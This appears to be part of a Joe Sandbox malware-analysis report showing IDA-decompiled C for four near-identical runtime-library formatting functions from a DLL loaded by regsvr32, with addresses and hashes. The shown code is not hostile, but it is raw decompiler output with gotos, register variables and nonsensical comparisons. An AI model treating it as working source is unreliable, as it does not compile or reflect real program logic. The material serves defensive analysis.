                                                                                                        			E000000011800393D4(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t98;
				intOrPtr _t99;
				signed int _t106;
				void* _t114;
				intOrPtr _t118;
				void* _t123;
				intOrPtr* _t126;
				intOrPtr _t127;
				char* _t128;
				intOrPtr* _t129;
				intOrPtr _t144;
				void* _t148;
				void* _t153;
				void* _t154;

				_t153 = __r10;
				_t114 = _t148;
				 *((long long*)(_t114 + 8)) = __rbx;
				 *((long long*)(_t114 + 0x10)) = __rbp;
				 *((long long*)(_t114 + 0x18)) = __rsi;
				 *((long long*)(_t114 + 0x20)) = __rdi;
				_push(_t154);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t123 = __rcx;
				r14d = 8;
				_t98 = r8d - 5;
				if (_t98 > 0) goto 0x800394d0;
				if (_t98 == 0) goto 0x80039436;
				_t99 = r8d;
				if (_t99 == 0) goto 0x80039527;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x800394a7;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003947f;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x80039527;
				if (r8d != 1) goto 0x800394f3;
				_t83 =  *(__rcx + 0x28);
				_t126 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x80039469;
				if ( *_t126 >= 0) goto 0x80039469;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x80039553;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x8003956a;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (( *(_t126 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x800394a2;
				goto 0x80039452;
				goto 0x80039452;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				_t106 = dil &  *(_t127 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t128 + 8;
				if (_t106 == 0) goto 0x800394cb;
				goto 0x80039452;
				goto 0x80039452;
				r8d = r8d - 6;
				if (_t106 == 0) goto 0x80039436;
				r8d = r8d - 1;
				if (_t106 == 0) goto 0x80039436;
				r8d = r8d - 2;
				if (_t106 == 0) goto 0x80039436;
				goto 0x80039422;
				_t118 =  *((intOrPtr*)(_t128 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t118 + 0x30)) = 1;
				 *((intOrPtr*)(_t118 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t128 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t128 + 8)), __rcx, _t128, __rdx,  *_t128, __rbp, __r8);
				goto 0x800395c2;
				_t129 =  *((intOrPtr*)(_t128 + 0x18));
				 *((long long*)(_t123 + 0x18)) = _t129 + 8;
				if (0 == 0) goto 0x8003954c;
				_t144 =  *_t129;
				goto 0x80039452;
				goto 0x80039452;
				 *(_t123 + 0x28) =  *(_t128 + 0x28) & 0xfffffff7;
				E00000001180031D44(_t123, _t123 + 0x50,  *((intOrPtr*)(_t123 + 0x30)), _t144,  *((intOrPtr*)(_t123 + 8)));
				if (_t144 != 0) goto 0x80039573;
				 *(_t123 + 0x28) =  *(_t123 + 0x28) & 0xffffffdf;
				 *((char*)(_t123 + 0x4c)) = 1;
				r8b = bpl;
				if (_t154 != _t154) goto 0x8003958c;
				E0000000118003D5BC(_t123, _t123, _t144);
				goto 0x80039593;
				E0000000118003C06C( *_t129, _t123, _t123, _t144, _t153);
				if (0 == 0) goto 0x800395c0;
				if ( *((intOrPtr*)(_t123 + 0x48)) == 0) goto 0x800395b1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x40)))) == 0x30) goto 0x800395c0;
				 *((long long*)(_t123 + 0x40)) =  *((long long*)(_t123 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t123 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t123 + 0x48)) =  *((intOrPtr*)(_t123 + 0x48)) + 1;
				return 1;
			}




















                                                                                                        0x1800393d4
                                                                                                        0x1800393d4
                                                                                                        0x1800393d7
                                                                                                        0x1800393db
                                                                                                        0x1800393df
                                                                                                        0x1800393e3
                                                                                                        0x1800393e7
                                                                                                        0x1800393ed
                                                                                                        0x1800393f1
                                                                                                        0x1800393f4
                                                                                                        0x1800393f7
                                                                                                        0x1800393fd
                                                                                                        0x180039401
                                                                                                        0x180039407
                                                                                                        0x180039409
                                                                                                        0x18003940c
                                                                                                        0x180039412
                                                                                                        0x180039416
                                                                                                        0x18003941c
                                                                                                        0x180039420
                                                                                                        0x180039422
                                                                                                        0x180039426
                                                                                                        0x180039430
                                                                                                        0x180039436
                                                                                                        0x18003943c
                                                                                                        0x18003944b
                                                                                                        0x180039459
                                                                                                        0x18003945e
                                                                                                        0x180039466
                                                                                                        0x18003946d
                                                                                                        0x180039473
                                                                                                        0x18003947a
                                                                                                        0x180039487
                                                                                                        0x180039496
                                                                                                        0x18003949a
                                                                                                        0x1800394a0
                                                                                                        0x1800394a5
                                                                                                        0x1800394af
                                                                                                        0x1800394b8
                                                                                                        0x1800394bf
                                                                                                        0x1800394c3
                                                                                                        0x1800394c9
                                                                                                        0x1800394ce
                                                                                                        0x1800394d0
                                                                                                        0x1800394d4
                                                                                                        0x1800394da
                                                                                                        0x1800394de
                                                                                                        0x1800394e4
                                                                                                        0x1800394e8
                                                                                                        0x1800394ee
                                                                                                        0x1800394f3
                                                                                                        0x1800394f7
                                                                                                        0x1800394fa
                                                                                                        0x1800394ff
                                                                                                        0x180039503
                                                                                                        0x180039510
                                                                                                        0x180039515
                                                                                                        0x18003951b
                                                                                                        0x180039522
                                                                                                        0x18003952f
                                                                                                        0x18003953e
                                                                                                        0x180039542
                                                                                                        0x180039544
                                                                                                        0x180039547
                                                                                                        0x18003954e
                                                                                                        0x18003955e
                                                                                                        0x180039565
                                                                                                        0x18003956d
                                                                                                        0x18003956f
                                                                                                        0x180039573
                                                                                                        0x180039577
                                                                                                        0x180039580
                                                                                                        0x180039585
                                                                                                        0x18003958a
                                                                                                        0x18003958e
                                                                                                        0x18003959b
                                                                                                        0x1800395a6
                                                                                                        0x1800395af
                                                                                                        0x1800395b1
                                                                                                        0x1800395ba
                                                                                                        0x1800395bd
                                                                                                        0x1800395dc

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: fa945d24cc519c23c7bfb588dbcbe04cf2ca9a1110e53bb296a7df8990d9fecd
                                                                                                        • Instruction ID: ff530542cccf6c1208920367cada47f90609db23d77c79b3605c7b711546d171
                                                                                                        • Opcode Fuzzy Hash: fa945d24cc519c23c7bfb588dbcbe04cf2ca9a1110e53bb296a7df8990d9fecd
                                                                                                        • Instruction Fuzzy Hash: 3D51B376611A5886E7A78F69C0407AA33A0E75DFA8F26C111EE89177D4CF32CE97C740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800395E0 Relevance: .1, Instructions: 146COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 66%
                                                                                                        			E000000011800395E0(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t98;
				intOrPtr _t99;
				signed int _t106;
				void* _t114;
				intOrPtr _t118;
				void* _t123;
				intOrPtr* _t126;
				intOrPtr _t127;
				char* _t128;
				intOrPtr _t144;
				void* _t148;
				void* _t153;
				void* _t154;

				_t153 = __r10;
				_t114 = _t148;
				 *((long long*)(_t114 + 8)) = __rbx;
				 *((long long*)(_t114 + 0x10)) = __rbp;
				 *((long long*)(_t114 + 0x18)) = __rsi;
				 *((long long*)(_t114 + 0x20)) = __rdi;
				_push(_t154);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t123 = __rcx;
				r14d = 8;
				_t98 = r8d - 5;
				if (_t98 > 0) goto 0x800396dc;
				if (_t98 == 0) goto 0x80039642;
				_t99 = r8d;
				if (_t99 == 0) goto 0x80039733;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x800396b3;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003968b;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x80039733;
				if (r8d != 1) goto 0x800396ff;
				_t83 =  *(__rcx + 0x28);
				_t126 =  *((intOrPtr*)(__rcx + 0x18));
				_t10 = _t126 + 8; // 0x8
				 *((long long*)(__rcx + 0x18)) = _t10;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x80039675;
				if ( *_t126 >= 0) goto 0x80039675;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x8003975f;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x80039776;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t21 = _t127 + 8; // 0x8
				 *((long long*)(__rcx + 0x18)) = _t21;
				if (( *(_t126 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x800396ae;
				goto 0x8003965e;
				goto 0x8003965e;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				_t106 = dil &  *(_t127 + 0x28) >> 0x00000004;
				_t27 = _t128 + 8; // 0x8
				 *((long long*)(__rcx + 0x18)) = _t27;
				if (_t106 == 0) goto 0x800396d7;
				goto 0x8003965e;
				goto 0x8003965e;
				r8d = r8d - 6;
				if (_t106 == 0) goto 0x80039642;
				r8d = r8d - 1;
				if (_t106 == 0) goto 0x80039642;
				r8d = r8d - 2;
				if (_t106 == 0) goto 0x80039642;
				goto 0x8003962e;
				_t118 =  *((intOrPtr*)(_t128 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t118 + 0x30)) = 1;
				 *((intOrPtr*)(_t118 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t128 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t128 + 8)), __rcx, _t128, __rdx,  *_t128, __rbp, __r8);
				goto 0x800397ce;
				_t40 =  *((intOrPtr*)(_t128 + 0x18)) + 8; // 0x8
				 *((long long*)(_t123 + 0x18)) = _t40;
				if (0 == 0) goto 0x80039758;
				_t144 =  *((intOrPtr*)( *((intOrPtr*)(_t128 + 0x18))));
				goto 0x8003965e;
				goto 0x8003965e;
				 *(_t123 + 0x28) =  *(_t128 + 0x28) & 0xfffffff7;
				E00000001180031D44(_t123, _t123 + 0x50,  *((intOrPtr*)(_t123 + 0x30)), _t144,  *((intOrPtr*)(_t123 + 8)));
				if (_t144 != 0) goto 0x8003977f;
				 *(_t123 + 0x28) =  *(_t123 + 0x28) & 0xffffffdf;
				 *((char*)(_t123 + 0x4c)) = 1;
				r8b = bpl;
				if (_t154 != _t154) goto 0x80039798;
				E0000000118003D680(_t123, _t123, _t144);
				goto 0x8003979f;
				E0000000118003C12C( *((intOrPtr*)( *((intOrPtr*)(_t128 + 0x18)))), _t123, _t123, _t144, _t153);
				if (0 == 0) goto 0x800397cc;
				if ( *((intOrPtr*)(_t123 + 0x48)) == 0) goto 0x800397bd;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x40)))) == 0x30) goto 0x800397cc;
				 *((long long*)(_t123 + 0x40)) =  *((long long*)(_t123 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t123 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t123 + 0x48)) =  *((intOrPtr*)(_t123 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x1800395e0
                                                                                                        0x1800395e0
                                                                                                        0x1800395e3
                                                                                                        0x1800395e7
                                                                                                        0x1800395eb
                                                                                                        0x1800395ef
                                                                                                        0x1800395f3
                                                                                                        0x1800395f9
                                                                                                        0x1800395fd
                                                                                                        0x180039600
                                                                                                        0x180039603
                                                                                                        0x180039609
                                                                                                        0x18003960d
                                                                                                        0x180039613
                                                                                                        0x180039615
                                                                                                        0x180039618
                                                                                                        0x18003961e
                                                                                                        0x180039622
                                                                                                        0x180039628
                                                                                                        0x18003962c
                                                                                                        0x18003962e
                                                                                                        0x180039632
                                                                                                        0x18003963c
                                                                                                        0x180039642
                                                                                                        0x180039648
                                                                                                        0x180039653
                                                                                                        0x180039657
                                                                                                        0x180039665
                                                                                                        0x18003966a
                                                                                                        0x180039672
                                                                                                        0x180039679
                                                                                                        0x18003967f
                                                                                                        0x180039686
                                                                                                        0x180039693
                                                                                                        0x18003969e
                                                                                                        0x1800396a2
                                                                                                        0x1800396a6
                                                                                                        0x1800396ac
                                                                                                        0x1800396b1
                                                                                                        0x1800396bb
                                                                                                        0x1800396c4
                                                                                                        0x1800396c7
                                                                                                        0x1800396cb
                                                                                                        0x1800396cf
                                                                                                        0x1800396d5
                                                                                                        0x1800396da
                                                                                                        0x1800396dc
                                                                                                        0x1800396e0
                                                                                                        0x1800396e6
                                                                                                        0x1800396ea
                                                                                                        0x1800396f0
                                                                                                        0x1800396f4
                                                                                                        0x1800396fa
                                                                                                        0x1800396ff
                                                                                                        0x180039703
                                                                                                        0x180039706
                                                                                                        0x18003970b
                                                                                                        0x18003970f
                                                                                                        0x18003971c
                                                                                                        0x180039721
                                                                                                        0x180039727
                                                                                                        0x18003972e
                                                                                                        0x180039746
                                                                                                        0x18003974a
                                                                                                        0x18003974e
                                                                                                        0x180039750
                                                                                                        0x180039753
                                                                                                        0x18003975a
                                                                                                        0x18003976a
                                                                                                        0x180039771
                                                                                                        0x180039779
                                                                                                        0x18003977b
                                                                                                        0x18003977f
                                                                                                        0x180039783
                                                                                                        0x18003978c
                                                                                                        0x180039791
                                                                                                        0x180039796
                                                                                                        0x18003979a
                                                                                                        0x1800397a7
                                                                                                        0x1800397b2
                                                                                                        0x1800397bb
                                                                                                        0x1800397bd
                                                                                                        0x1800397c6
                                                                                                        0x1800397c9
                                                                                                        0x1800397e8

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 741fb19b4bda21e319d5195b85b29ccebef6fcb48482515276a1407127721bb5
                                                                                                        • Instruction ID: b12223bf2b46090ce9c7feed9caef1361ec1ac3c7ed3a93cd53ebce509e457f3
                                                                                                        • Opcode Fuzzy Hash: 741fb19b4bda21e319d5195b85b29ccebef6fcb48482515276a1407127721bb5
                                                                                                        • Instruction Fuzzy Hash: B951933622665886EBA78F69C05139E33A0E74DFA8F268111EE59177D4CF36CE47C780
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180037694 Relevance: .1, Instructions: 146COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 73%
                                                                                                        			E00000001180037694(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t98;
				intOrPtr _t99;
				signed int _t106;
				void* _t114;
				intOrPtr _t118;
				void* _t123;
				intOrPtr* _t126;
				intOrPtr _t127;
				char* _t128;
				intOrPtr* _t129;
				intOrPtr _t144;
				void* _t148;
				void* _t153;
				void* _t154;

				_t153 = __r10;
				_t114 = _t148;
				 *((long long*)(_t114 + 8)) = __rbx;
				 *((long long*)(_t114 + 0x10)) = __rbp;
				 *((long long*)(_t114 + 0x18)) = __rsi;
				 *((long long*)(_t114 + 0x20)) = __rdi;
				_push(_t154);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t123 = __rcx;
				r14d = 8;
				_t98 = r8d - 5;
				if (_t98 > 0) goto 0x80037790;
				if (_t98 == 0) goto 0x800376f6;
				_t99 = r8d;
				if (_t99 == 0) goto 0x800377e7;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x80037767;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003773f;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x800377e7;
				if (r8d != 1) goto 0x800377b3;
				_t83 =  *(__rcx + 0x28);
				_t126 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x80037729;
				if ( *_t126 >= 0) goto 0x80037729;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x80037813;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x8003782a;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (( *(_t126 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x80037762;
				goto 0x80037712;
				goto 0x80037712;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				_t106 = dil &  *(_t127 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t128 + 8;
				if (_t106 == 0) goto 0x8003778b;
				goto 0x80037712;
				goto 0x80037712;
				r8d = r8d - 6;
				if (_t106 == 0) goto 0x800376f6;
				r8d = r8d - 1;
				if (_t106 == 0) goto 0x800376f6;
				r8d = r8d - 2;
				if (_t106 == 0) goto 0x800376f6;
				goto 0x800376e2;
				_t118 =  *((intOrPtr*)(_t128 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t118 + 0x30)) = 1;
				 *((intOrPtr*)(_t118 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t128 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t128 + 8)), __rcx, _t128, __rdx,  *_t128, __rbp, __r8);
				goto 0x80037882;
				_t129 =  *((intOrPtr*)(_t128 + 0x18));
				 *((long long*)(_t123 + 0x18)) = _t129 + 8;
				if (0 == 0) goto 0x8003780c;
				_t144 =  *_t129;
				goto 0x80037712;
				goto 0x80037712;
				 *(_t123 + 0x28) =  *(_t128 + 0x28) & 0xfffffff7;
				E00000001180031D44(_t123, _t123 + 0x50,  *((intOrPtr*)(_t123 + 0x30)), _t144,  *((intOrPtr*)(_t123 + 8)));
				if (_t144 != 0) goto 0x80037833;
				 *(_t123 + 0x28) =  *(_t123 + 0x28) & 0xffffffdf;
				 *((char*)(_t123 + 0x4c)) = 1;
				r8b = bpl;
				if (_t154 != _t154) goto 0x8003784c;
				E0000000118003CCE4(0, _t123, _t144, _t153);
				goto 0x80037853;
				E0000000118003B7CC(0,  *_t129, _t123, _t153);
				if (0 == 0) goto 0x80037880;
				if ( *((intOrPtr*)(_t123 + 0x48)) == 0) goto 0x80037871;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x40)))) == 0x30) goto 0x80037880;
				 *((long long*)(_t123 + 0x40)) =  *((long long*)(_t123 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t123 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t123 + 0x48)) =  *((intOrPtr*)(_t123 + 0x48)) + 1;
				return 1;
			}




















                                                                                                        0x180037694
                                                                                                        0x180037694
                                                                                                        0x180037697
                                                                                                        0x18003769b
                                                                                                        0x18003769f
                                                                                                        0x1800376a3
                                                                                                        0x1800376a7
                                                                                                        0x1800376ad
                                                                                                        0x1800376b1
                                                                                                        0x1800376b4
                                                                                                        0x1800376b7
                                                                                                        0x1800376bd
                                                                                                        0x1800376c1
                                                                                                        0x1800376c7
                                                                                                        0x1800376c9
                                                                                                        0x1800376cc
                                                                                                        0x1800376d2
                                                                                                        0x1800376d6
                                                                                                        0x1800376dc
                                                                                                        0x1800376e0
                                                                                                        0x1800376e2
                                                                                                        0x1800376e6
                                                                                                        0x1800376f0
                                                                                                        0x1800376f6
                                                                                                        0x1800376fc
                                                                                                        0x18003770b
                                                                                                        0x180037719
                                                                                                        0x18003771e
                                                                                                        0x180037726
                                                                                                        0x18003772d
                                                                                                        0x180037733
                                                                                                        0x18003773a
                                                                                                        0x180037747
                                                                                                        0x180037756
                                                                                                        0x18003775a
                                                                                                        0x180037760
                                                                                                        0x180037765
                                                                                                        0x18003776f
                                                                                                        0x180037778
                                                                                                        0x18003777f
                                                                                                        0x180037783
                                                                                                        0x180037789
                                                                                                        0x18003778e
                                                                                                        0x180037790
                                                                                                        0x180037794
                                                                                                        0x18003779a
                                                                                                        0x18003779e
                                                                                                        0x1800377a4
                                                                                                        0x1800377a8
                                                                                                        0x1800377ae
                                                                                                        0x1800377b3
                                                                                                        0x1800377b7
                                                                                                        0x1800377ba
                                                                                                        0x1800377bf
                                                                                                        0x1800377c3
                                                                                                        0x1800377d0
                                                                                                        0x1800377d5
                                                                                                        0x1800377db
                                                                                                        0x1800377e2
                                                                                                        0x1800377ef
                                                                                                        0x1800377fe
                                                                                                        0x180037802
                                                                                                        0x180037804
                                                                                                        0x180037807
                                                                                                        0x18003780e
                                                                                                        0x18003781e
                                                                                                        0x180037825
                                                                                                        0x18003782d
                                                                                                        0x18003782f
                                                                                                        0x180037833
                                                                                                        0x180037837
                                                                                                        0x180037840
                                                                                                        0x180037845
                                                                                                        0x18003784a
                                                                                                        0x18003784e
                                                                                                        0x18003785b
                                                                                                        0x180037866
                                                                                                        0x18003786f
                                                                                                        0x180037871
                                                                                                        0x18003787a
                                                                                                        0x18003787d
                                                                                                        0x18003789c

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 8650af344001033b0ae48d366d6b1f980c4696e3d4ed3970f9f58f4a6a2faac8
                                                                                                        • Instruction ID: a050e12aafd71b1a1b2e628298fbf54a4c8e5549b362de9985810d217eedb136
                                                                                                        • Opcode Fuzzy Hash: 8650af344001033b0ae48d366d6b1f980c4696e3d4ed3970f9f58f4a6a2faac8
                                                                                                        • Instruction Fuzzy Hash: D4519236714A5886E7B78B29C0443AA37A0E74CFACF268111EE4D57796CF36CA47C780
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003A894 Relevance: .1, Instructions: 146COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 72%
                                                                                                        			E0000000118003A894(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t98;
				intOrPtr _t99;
				signed int _t106;
				void* _t114;
				intOrPtr _t118;
				void* _t123;
				intOrPtr* _t126;
				intOrPtr _t127;
				char* _t128;
				intOrPtr* _t129;
				intOrPtr _t144;
				void* _t148;
				void* _t154;

				_t114 = _t148;
				 *((long long*)(_t114 + 8)) = __rbx;
				 *((long long*)(_t114 + 0x10)) = __rbp;
				 *((long long*)(_t114 + 0x18)) = __rsi;
				 *((long long*)(_t114 + 0x20)) = __rdi;
				_push(_t154);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t123 = __rcx;
				r14d = 8;
				_t98 = r8d - 5;
				if (_t98 > 0) goto 0x8003a990;
				if (_t98 == 0) goto 0x8003a8f6;
				_t99 = r8d;
				if (_t99 == 0) goto 0x8003a9e7;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003a967;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003a93f;
				r8d = r8d - 1;
				if (_t99 == 0) goto 0x8003a9e7;
				if (r8d != 1) goto 0x8003a9b3;
				_t83 =  *(__rcx + 0x28);
				_t126 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x8003a929;
				if ( *_t126 >= 0) goto 0x8003a929;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x8003aa13;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x8003aa2a;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (( *(_t126 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003a962;
				goto 0x8003a912;
				goto 0x8003a912;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				_t106 = dil &  *(_t127 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t128 + 8;
				if (_t106 == 0) goto 0x8003a98b;
				goto 0x8003a912;
				goto 0x8003a912;
				r8d = r8d - 6;
				if (_t106 == 0) goto 0x8003a8f6;
				r8d = r8d - 1;
				if (_t106 == 0) goto 0x8003a8f6;
				r8d = r8d - 2;
				if (_t106 == 0) goto 0x8003a8f6;
				goto 0x8003a8e2;
				_t118 =  *((intOrPtr*)(_t128 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t118 + 0x30)) = 1;
				 *((intOrPtr*)(_t118 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t128 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t128 + 8)), __rcx, _t128, __rdx,  *_t128, __rbp, __r8);
				goto 0x8003aa82;
				_t129 =  *((intOrPtr*)(_t128 + 0x18));
				 *((long long*)(_t123 + 0x18)) = _t129 + 8;
				if (0 == 0) goto 0x8003aa0c;
				_t144 =  *_t129;
				goto 0x8003a912;
				goto 0x8003a912;
				 *(_t123 + 0x28) =  *(_t128 + 0x28) & 0xfffffff7;
				E00000001180031D44(_t123, _t123 + 0x50,  *((intOrPtr*)(_t123 + 0x30)), _t144,  *((intOrPtr*)(_t123 + 8)));
				if (_t144 != 0) goto 0x8003aa33;
				 *(_t123 + 0x28) =  *(_t123 + 0x28) & 0xffffffdf;
				 *((char*)(_t123 + 0x4c)) = 1;
				r8b = bpl;
				if (_t154 != _t154) goto 0x8003aa4c;
				E0000000118003DBE4( *(_t128 + 0x28) & 0xfffffff7, _t123, _t144,  *((intOrPtr*)(_t123 + 8)));
				goto 0x8003aa53;
				E0000000118003C684( *_t129, _t123,  *((intOrPtr*)(_t123 + 8)));
				if (0 == 0) goto 0x8003aa80;
				if ( *((intOrPtr*)(_t123 + 0x48)) == 0) goto 0x8003aa71;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t123 + 0x40)))) == 0x30) goto 0x8003aa80;
				 *((long long*)(_t123 + 0x40)) =  *((long long*)(_t123 + 0x40)) + 0xfffffffe;
				 *((short*)( *((intOrPtr*)(_t123 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t123 + 0x48)) =  *((intOrPtr*)(_t123 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x18003a894
                                                                                                        0x18003a897
                                                                                                        0x18003a89b
                                                                                                        0x18003a89f
                                                                                                        0x18003a8a3
